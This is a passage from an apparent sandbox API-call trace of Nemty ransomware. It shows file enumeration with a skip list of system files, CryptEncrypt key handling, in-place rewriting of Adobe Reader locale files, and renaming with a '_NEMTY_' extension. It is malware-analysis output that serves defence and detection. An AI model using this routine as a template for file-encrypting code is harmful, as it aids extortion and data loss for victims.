hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.023] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.PTB", cAlternateFileName="")) returned 1 [0182.023] lstrcmpiW (lpString1="reflow.PTB", lpString2=".") returned 1 [0182.023] lstrcmpiW (lpString1="reflow.PTB", lpString2="..") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="...") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="windows") returned -1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="$RECYCLE.BIN") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="rsa") returned -1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="NTDETECT.COM") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="ntldr") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="MSDOS.SYS") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="IO.SYS") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="boot.ini") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="boot.ini") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="ntuser.dat") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="desktop.ini") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="CONFIG.SYS") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="RECYCLER") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="BOOTSECT.BAK") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="bootmgr") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="programdata") returned 1 [0182.024] lstrcmpiW (lpString1="reflow.PTB", lpString2="appdata") returned 1 [0182.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.PTB", lpUsedDefaultChar=0x0) returned 10 [0182.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.PTB", lpUsedDefaultChar=0x0) returned 10 [0182.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.PTB", lpUsedDefaultChar=0x0) returned 10 [0182.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.PTB", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.PTB", lpUsedDefaultChar=0x0) returned 10 [0182.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.025] Sleep (dwMilliseconds=0x5) [0182.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2025d190, dwHighDateTime=0x1d561e8)) [0182.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2025d190, dwHighDateTime=0x1d561e8)) [0182.034] GetLastError () returned 0x0 [0182.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.034] GetLastError () returned 0x0 [0182.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.035] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.035] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.035] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.035] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="eqnr3RiERx2eFSTdvGtOjZIhN/KEqcDOPomomTWoSjyBjyEYjPMOLVQDxUaUYvvD\r\nQ9hHa+mcm0BIRrVr3S8WN0xRg4zHycMU/GcK5sUXjJA8qIi2+RxTUW417SRA6tm8\r\nqVgdpBlPv8P6HDYjVAMDy9Li+xaMDNr5mbQ1WY79vCJiuDwY3pbdJ60N4yaBIWbt\r\nuGpSK7d+43GvqNXP/g6k6uZNudxuQ+cBEnCZd3KOOyxfiycWI+/x5/IkojrcAohT\r\nYnxt6tSMMp7KWXDX9elNkD2cgpt0o0h6/yOBaEb90nTm+4io8YCid/eDZvwh0eUJ\r\nxMKARcRgo8WOGGsGo0JvCQ==\r\n", pcchString=0x653e5dc) returned 1 [0182.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\reflow.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\reflow.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.036] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0182.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0182.036] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.036] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0182.038] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.038] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0182.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.038] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0182.038] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.038] CloseHandle (hObject=0x2e8) returned 1 [0182.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0182.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.038] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\reflow.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\reflow.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\reflow.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\reflow.ptb._nemty_kgobjgd_")) returned 1 [0182.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0182.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.039] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.PTB", cAlternateFileName="SAVEAS~1.PTB")) returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2=".") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="..") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="...") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="windows") returned -1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="$RECYCLE.BIN") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="rsa") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="NTDETECT.COM") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="ntldr") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="MSDOS.SYS") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="IO.SYS") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="boot.ini") returned 1 [0182.039] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="boot.ini") returned 1 [0182.040] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0182.040] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="ntuser.dat") returned 1 [0182.040] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="desktop.ini") returned 1 [0182.040] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="CONFIG.SYS") returned 1 [0182.040] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="RECYCLER") returned 1 [0182.040] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="BOOTSECT.BAK") returned 1 [0182.040] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="bootmgr") returned 1 [0182.040] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="programdata") returned 1 [0182.040] lstrcmpiW (lpString1="SaveAsRTF.PTB", lpString2="appdata") returned 1 [0182.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.PTB", lpUsedDefaultChar=0x0) returned 13 [0182.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.PTB", lpUsedDefaultChar=0x0) returned 13 [0182.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.PTB", lpUsedDefaultChar=0x0) returned 13 [0182.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.PTB", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.PTB", lpUsedDefaultChar=0x0) returned 13 [0182.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.040] Sleep (dwMilliseconds=0x5) [0182.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x202832f0, dwHighDateTime=0x1d561e8)) [0182.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x202832f0, dwHighDateTime=0x1d561e8)) [0182.050] GetLastError () returned 0x0 [0182.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.050] GetLastError () returned 0x0 [0182.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.050] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.050] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="e1M5FiP1yd8q+s0l55vQtAC0ZFgLm47EmKABSUd2Jdpv5BTAdpyZTSKQR/vf4UXk\r\n1TYBnaLnqIL0ie0ARK2rQ3mMNkNF9qV4ugStSgUyQ0BuBwUCWny/TVer0WE1ZHIO\r\ngXjUIJgjEkLWK6rNtwiJHTsNynig6AQU9RySkrTz4s1fFkjDZGW8qgvJkssc3tqF\r\nI66wVC34OIlp4mduMvHiy0MrQIYt4wy2SfnNgq6HtDYNmtU8y/RKP2k+wk+kuV59\r\nhHZUAK/NvIiV3NK2fqG7BxAZIriIziiw0bZO7NGtyWvtJRpMNspHdwUuhh2ATlSj\r\nvyfoW/HktWHTFXUcb5D5sw==\r\n", pcchString=0x653e5dc) returned 1 [0182.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\SaveAsRTF.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\saveasrtf.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.052] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0182.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0182.052] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.052] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0182.055] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.055] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0182.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.055] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0182.055] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.055] CloseHandle (hObject=0x2e8) returned 1 [0182.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.055] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\SaveAsRTF.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 